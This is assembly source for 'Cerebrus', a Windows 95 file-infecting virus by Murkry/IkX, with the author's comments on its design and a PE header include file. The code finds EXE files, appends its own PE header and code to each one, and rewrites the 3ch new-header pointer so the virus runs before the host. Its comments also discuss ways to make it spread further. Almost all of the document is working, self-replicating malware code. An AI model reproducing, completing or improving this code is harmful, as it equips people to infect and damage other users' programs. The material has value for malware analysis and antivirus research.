; ; Cerebrus, by Murkry/IkX ; ; ; ; this virus is a beta test of an idea I have heard and read about, ; but had never tried. What it does is append its own code to the end of the ; host file and then alter the NEW HEADER pointer at 3ch to point to itself. ; While this virus does work, because of a few mistakes I made the infected ; file will not have any icons associated with it. There are several ways ; around this. But my next attempt at one of these would actualy be larger ; I would just copy the virus in memory to the end of the host. This way I ; would not need to write the internal info and would let Win95 handle it all. ; I actual code the Import data table into the virus this is for size ; consideration . While I still like the idea for this virus the main reason ; I wanted to try it was to try out some code I read about that would mark a ; file as Erase on CLose (or something like that). It describes a self erasing ; file like maybe a Setup program runs once never again. But the idea seems ; like it would only work in NT not 95 at least in my tests. ; Another thing I found was that while MS pushes us to use the Win32 ; CreateProc.. and not WinExec. CreateP will only run PE files while WinExec ; will run dos/NE/PE files. So someone could write this so that it infect all ; those files but would only spread under Win95, in DOS the orginal Dos program ; would be called, In 3.11 you would see the dos error msg, and in Win95 all ; the programs would infect and run ok. ; In testing this virus works well 'cept for a few little things, like other ; virus that modify the New Header offset it will make the icons vanish since ; the .rscr section is now "lost". A second thing I believe (know) is that ; since I use an internal .idata structure and I only have one of the pntrs to ; the API in it, yet after the first Generation this pntr is overwritten with ; the address of the API call itself. Actually I am sorta surprised this did ; not cause an error, I guess in Win95 it thinks its bound already and leaves ; it alone. Hmm some of you know what I mean others, I sure are lost, ;) sorry. ; Anyway you can fix this in two ways, one easier than the other depending on ; who you talk to. 1 keep the other refrence to the api name, 2 have a routine ; that fixes this before you write the virus to another host. ; Anyway, despite the problems with this version of the virus I beleive that ; this method with some changes could be very viable in the Win32 enviroment. ; ; To compile use the mk.bat file. ; ; The other file 1.inc is just some header info I used after I finished this ; virus I realize I really did not need to do all that work, but for those of ; you who are curios about the PE header examine away. ; Murkry .386 .model flat, stdcall True equ 1 False equ 0 GENERIC_READ equ 80000000h GENERIC_WRITE equ 40000000h FATTR_NORMAL equ 0 OPEN_EXISTING equ 3 ;File is setup so that there will be 2 PE headers we use debug or ; some tool to set the MZ 3ch to point to our second PE header ; then when run the PE part could be append to the other PE files ; and infect in that matter the only parts that need to be alter ; in the section header ; Pter to Raw Data LoadAT equ 01000h offs equ offset PEheader ;+ LoadAT + 400000h ; - offset PEheader + LoadAT + 400000h ;Define the needed external functions and constants here. extrn ExitProcess:PROC extrn MessageBoxA:PROC extrn CreateProcessA:PROC .data ;the data area dummy dd ? ;tasm needs some data or it won't work! .code ;executable code starts here include 1.inc CodeSect db 'CODE',0,0,0,0 CodeVSize dd 0000e000h ; CodeVAddr dd LoadAT ; CodeSzRawData dd 00000800h ; CodePtrRwData dd 00000600h ;where the code for this section is dd 00000000h dd 00000000h dw 0000h dw 0000h CodeChar dd 0A0000060h ;6000 0020 RescSect db '.rsrc',0,0,0 dd 00002000H ; dd 0E000h;LoadAT + 0e000h ; dd 00001600h ; dd 00000200h ;where the code for this section is dd 00000000h dd 00000000h dw 00h dw 00h db 40h,00,00,40h dd 0000h CDseg: IDATA: DD 0 ; usual this has a redunat entry ;We are skipping it ; offset API_LOC1 - offset PEheader + LoadAT dd 0 ;time date stamp dd 0 ;where in memory this dll is loaded DD offset DLL1 - offset PEheader + LoadAT DD offset API_LOC2 - offset PEheader + LoadAT DD 0 ; usual this has a redunt entry ;We are skipping it ; offset API_LOC1 - offset PEheader + LoadAT dd 0 ;time date stamp dd 0 ;where in memory this dll is loaded DD offset DLLA - offset PEheader + LoadAT DD offset API_LOC2A - offset PEheader + LoadAT DD 00000000H DB 10H DUP(0) API_LOC2 DD offset FUNC1 - offset PEheader + LoadAT ; beep DD offset FUNC2 - offset PEheader + LoadAT ;4h VxdCall0 DD 80000001h ;8h getcomline DD offset FUNC3 - offset PEheader + LoadAT ;Ch createp DD offset FUNC4 - offset PEheader + LoadAT ;10h Copy DD offset FUNC5 - offset PEheader + LoadAT Create DD offset FUNC6 - offset PEheader + LoadAT FileP DD offset FUNC7 - offset PEheader + LoadAT Read DD offset FUNC8 - offset PEheader + LoadAT Write DD offset FUNC9 - offset PEheader + LoadAT Close DD offset FUNC10 - offset PEheader + LoadAT FindFirst DD offset FUNC11 - offset PEheader + LoadAT FindNext DD offset FUNC12 - offset PEheader + LoadAT CloseFind DD offset FUNC13 - offset PEheader + LoadAT FileSize DD offset FUNC14 - offset PEheader + LoadAT WinEx DD offset FUNC15 - offset PEheader + LoadAT DD 0 MsgBox: API_LOC2A DD offset FUNCA - offset PEheader + LoadAT DD 0 DLL1 DB 'KERNEL32.dll',0 DLLA DB 'USER32',0 dw 0 ;ends dll names FUNC1 dw 0 db 'ExitProcess',0 FUNC2 dw 0 DB 'Beep',0 FUNC3 dw 0 DB 'GetCommandLineA',0 FUNC4 dw 0 db 'CreateProcessA',0 FUNC5 dw 0 db 'CopyFileA',0 FUNC6 dw 0 db 'CreateFileA',0 FUNC7 dw 0 db 'SetFilePointer',0 FUNC8 dw 0 db 'ReadFile',0 FUNC9 dw 0 db 'WriteFile',0 FUNC10 dw 0 db 'CloseHandle',0 FUNC11 dw 0 db 'FindFirstFileA',0 FUNC12 dw 0 db 'FindNextFileA',0 FUNC13 dw 0 db 'FindClose',0 FUNC14 dw 0 db 'GetFileSize',0 FUNC15 dw 0 db 'WinExec',0 db 0 ;end of Function list for this DLL FUNCA dw 0 db 'MessageBoxA',0 dw 0 db 0 ;end the function list db 0 ;end the DLL list EndIDATA: Begin: Call Beep ;------------------------------------------------------------- ;this API returns the call with " " so we now move this name only ;to our buffer excluding the " " and adding the 0 at the end call dword ptr [getcomline] xchg esi,eax inc esi mov edi,offset filename push edi ;save pointer to the orginal filename GetLoop: lodsb cmp al,'"' je AllDone stosb jmp GetLoop AllDone: xor eax,eax stosb ;get the command line in case we need it mov edi, offset pCommandLine GetLine: lodsb stosb cmp al,0 jne GetLine ;------------------------------------------------------------- ;Now make the file name into something we can use pop esi ;pnter to the current file name push esi mov Edi,offset tempfile TempFile: lodsb stosb cmp al,'.' jne TempFile xor eax,eax ;MOV EAX,004D4F43H ;00'MOC' mov eax, 00455645h ;00'EVE' stosd ;------------------------------------------------------------- pop edi ;the host file ;-------------------------------------------------------------- ;Copy the file to another name Call dword ptr [offset Copy] , edi, offset tempfile ,large False or eax,eax jz ErrorFile ;-------------------------------------------------------------- ;Open the File r/w using Create file Call dword ptr [Create] , offset tempfile, GENERIC_READ or GENERIC_WRITE, \ large 0, large 0, large OPEN_EXISTING, large 0,large 0 mov dword ptr [fHandle],eax ;-------------------------------------------------------------- ;Move Pointer to the 3ch and fix the pointer to old PE file Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0 ;for debuggin ; pusha ; mov edi,dword ptr [OldOff] ; call ConvertIt ; Call dword ptr [MsgBox] , large 0, offset tempfile , offset numb ; ,large 1 ; popa ;end for debuggin ;-------------------------------------------------------------- ;Write to the file using Write Call dword ptr [Write], [fHandle],offset OldOff,large 4, \ offset NumRead, large 0 ;-------------------------------------------------------------- ;Close the file Call dword ptr[Close],[fHandle] ;-------------------------------------------------------------- ;Run the file using CreateProcess Call dword ptr [createp], \ offset tempfile, \ ;module name offset blank, \ ;command line large 0, \ ;sec attr large 0, \ ;thread sec Large False, \ ;inherit handles large 0, \ ;create flags large 0, \ ;Enviroment large 0, \ ;current directory offset StartupInfo, \ ;startup info offset ProcessInfo \ ;process info ;--------------------------------------------------------------------------- ;Run the file using Winexec ; Call dword ptr [WinEx], offset tempfile, large 1 ; ; Call dword ptr[Close],EAX ;--------------------------------------------------------------------------- ;Now try to infect a new file ;1 find file ;2 open the file ;3 make sure its a even 200h boundary alter if needed ;4 modifiy the ptr to raw data in the .Code section ; write the new end to the file ;5 goto top of file then modify 3ch offset to point to the new location ; ;--------------------------------------------------------------- ;1 First find a file Call dword ptr [FindFirst], offset NewHost, offset FindData cmp eax,-1 je ErrorFile mov dword ptr [hfindFile] ,Eax jmp GotOne CloseFileTry: Call dword ptr[Close],[fHandle] tryfornext: Call dword ptr [FindNext], [hfindFile], offset FindData or eax,eax jnz GotOne Call dword ptr[CloseFind],[hfindFile] jmp ErrorFile GotOne: ;--------------------------------------------------------------- ;Open the File r/w using Create file Call dword ptr [Create] , offset fName, GENERIC_READ or GENERIC_WRITE, \ large 0, large 0, large OPEN_EXISTING, large 0,large 0 mov dword ptr [fHandle],eax cmp eax,-1 je tryfornext ;--------------------------------------------------------------- ;Get the file size and figure if we need to round it up to a 200h offset ; call dword ptr [FileSize] , [fHandle],large 0 cmp eax,-1 je CloseFileTry mov dword ptr[SizeOfFile],eax dec eax mov ecx,200h add eax,ecx XOR EDX,EDX div ecx mul ecx mov [CodePtrRwData],eax ;holds the new file size ;-------------------------------------------------------------- ;Read from the Call dword ptr [Read] , \ [fHandle], \ ;handle offset buffer, \ ;where to read to 100h, \ ;how much to read offset NumRead, \ ;how much was read large 0 ;overlapped amount not used win95 or eax,eax jz CloseFileTry mov ebx,offset buffer cmp word ptr[ebx],'ZM' jne CloseFileTry ;Get next file cmp dword ptr [ebx + 3ch],0 je CloseFileTry cmp dword ptr [ebx + 3ch],100h jg CloseFileTry mov eax,dword ptr[ebx + 3ch] mov dword ptr [OldOff],eax ;-------------------------------------------------------------- ;Move Pointer to the endf of the file Call dword ptr [FileP] , [fHandle], large 0, large 0, large 2 ; file end ;-------------------------------------------------------------- ;Get how many bytes to add to the file mov eax,dword ptr [CodePtrRwData] ; holds what the new file size sub eax,dword ptr [SizeOfFile] ;-------------------------------------------------------------- ;Write that many bytes to the end of the file ;Write to the file using Write Call dword ptr [Write], \ [fHandle], \ ;file handle offset OldOff, \ ;where to write from eax, \ ;how many to write offset NumRead, \ ;how many bytes were writen large 0 ;overlapped not used in win95 ;-------------------------------------------------------------- ;Write to the file using Write Call dword ptr [Write], \ [fHandle], \ ;file handle offset PEheader, \ ;where to write from OFFSET filename - offset PEheader, \ ;how many to write offset NumRead, \ ;how many bytes were writen large 0 ;overlapped not used in win95 ;-------------------------------------------------------------- ;Move Pointer to the TOPF of the file Call dword ptr [FileP] , [fHandle], large 3ch, large 0, large 0 ;-------------------------------------------------------------- ;Write the new offset at 3ch Call dword ptr [Write], \ [fHandle], \ ;file handle offset CodePtrRwData, \ ;where to write from large 4 , \ ;how many to write offset NumRead, \ ;how many bytes were writen large 0 ;overlapped not used in win95 ;-------------------------------------------------------------- ;close the file Call dword ptr[Close],[fHandle] ;--------------------------------------------------------------------------- ;Call dword ptr [MsgBox] , large 0,offset tempfile, offset filename ,large 1 ErrorFile: K32ExitP: Call dword ptr ds:[offset API_LOC2 ] ,-1 ;-------------------------------------------------------- Beep: call dword ptr ds:[offset beep ] ,eax,eax ret ;===================================================================== ;ConvertIt takes a number in Edi and Converts it to Readable and Stores it ; in the location Pointed at by Esi ; ;Input ;Edi What number we want to convert to hexdecial readable ;Esi Where it will be placed When Done ; ; ConvertIt: mov esi,offset numb PushA push Edi xchg Edi,Esi mov cx,1ch digit_loop: pop Eax push Eax shr Eax,Cl and ax,000fh sub cx,4 cmp al,9 jle number sub al,0ah add al,41h jmp letter number: or al,30h letter: stosb cmp cx,0fffCh jne digit_loop mov al,0 stosb pop edi PopA Ret ;=================================================================== MURK DB 'MURKRY/IkX',0 VIRII DB 'CEREBRUS',0 info DB 'The three head guardian, is in your computer, fear no more',0 numb dd ? blank db ' ',0 OldOff dd 100h NewHost db '*.EXE',0 victim db 'Notepad.exe',0 ;in real virus this would be in the ;find file info filename db 256D dup (?) tempfile db 256D dup (?) hfindFile dd ? ; fHandle dd ? NumRead dd ? pCommandLine db 256D DUP(?) FindData: fileattr dd ? ; DWORD dwFileAttributes; ;00 00 00 00 fCreat dd 2 dup(?) ; FILETIME ftCreationTime; ;DD ?,? ; fAccess dd 2 dup(?) ; FILETIME ftLastAccessTime; ;DD ?,? ; fWrite dd 2 dup(?) ; FILETIME ftLastWriteTime; ;DD ?,? ; fsizelow dd ? ; DWORD nFileSizeHigh; ; fsizehigh dd ? ; DWORD nFileSizeLow; ; fresv1 dd ? ; DWORD dwReserved0; ; fresv2 dd ? ; DWORD dwReserved1; ; fName db 255d dup(?) ; CHAR cFileName[MAX_PATH]; 255B ; fdosname db 14d dup(?) ; CHAR cAlternateFileName[ 14 ]; ; SizeOfFile dw ? FleHdle dd ? ProcessInfo dd 4h dup(?) StartupInfo dd 18h dup(?) buffer db ? ;------------- ttle db 'Hello',0 msg db 'from host',0 CodeEnds: Call MessageBoxA, large 0, offset ttle, offset msg, large 1 push -1 Call ExitProcess end CodeEnds ;ÄÄÄ[1.INC]ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ ;1.inc PEheader db 'PE',0,0 ;200 Machine dw 014ch NumSect dw 0002h ;Seems Win95 does check this but if ; there is a Section Header entry ; it will load that section or as ; many sections as there are entries ; in other words it loads till ; the next section header is 0000h ; or it has load the NumSect TimeDate dd 6f052098h PtrSymTble dd 00000000h Numsymbols dd 00000000h SizeOpHder dw 00e0h Char dw 818eh Magic dw 010bh LinkerVer dw 1902h SiZeOfCOde dd offset CodeEnds - offset PEheader SizeOfInitData dd 00003000h SizeOfUnintdata dd 000000000 EntryPoint dd offset Begin - offset PEheader + LoadAT BaseCode dd 00400000h BaseData dd 00400000h ImageBase dd 00400000h SectionAlign dd 00001000h FileAlign dd 00000200h OsMajor dw 0001h Osminor dw 0000h UseMajor dw 0000h UseMinor dw 0000h SubSysMajor dw 0003h SubSysMinor dw 000Ah dw 0000h dw 0 ImageSize dd 00010000h HeaderSize dd offset CDseg - offset PEheader FileCheck dd 0h ;checksum Subsystem dw 0002h DllFlag dw 0000h StackRes dd 00100000h StackComm dd 00002000h ;60 HeapRes dd 00100000h Heapcomm dd 00001000h LoaderFlag dd 00000000h NumberRVA dd 00000010h ;